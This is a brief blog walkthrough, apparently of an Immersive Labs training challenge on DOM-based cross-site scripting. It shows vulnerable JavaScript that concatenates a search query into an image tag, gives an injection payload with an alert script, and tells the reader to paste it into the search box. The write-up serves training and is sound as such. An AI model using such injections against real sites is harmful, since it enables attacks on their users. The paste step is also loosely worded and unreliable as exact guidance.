ImmersiveLabs15 Jan 20251 min read

IML - Cross-Site Scripting: Ep.4 – DOM-Based XSS

Cross-Site Scripting Ep.4 – D - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

IML - Cross-Site Scripting: Ep.4 – DOM-Based XSS#

Original query:

bash

var tracker = '<div hidden><img src="/resources/search_assets/search.gif?query=' + query + '"></div>'

Inject the following:

bash

'"\>\<script\>alert('XSS')\</script\>\<"'

Malicious query:

bash

var tracker = '<div hidden><img src="/resources/search_assets/search.gif?query=' + '"><script>alert('XSS')</script><"' + '"></div>'

Paste entire malicious code above into Search box

ImmersiveLabs12 Apr 20251 min

Cross-Site Scripting Ep.3 – S - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

ImmersiveLabs2 Mar 20251 min

Cross-Site Scripting Ep.7 – D - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

ImmersiveLabs12 Feb 20251 min

Halloween 2020 Ep.5 – JinjaBread - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.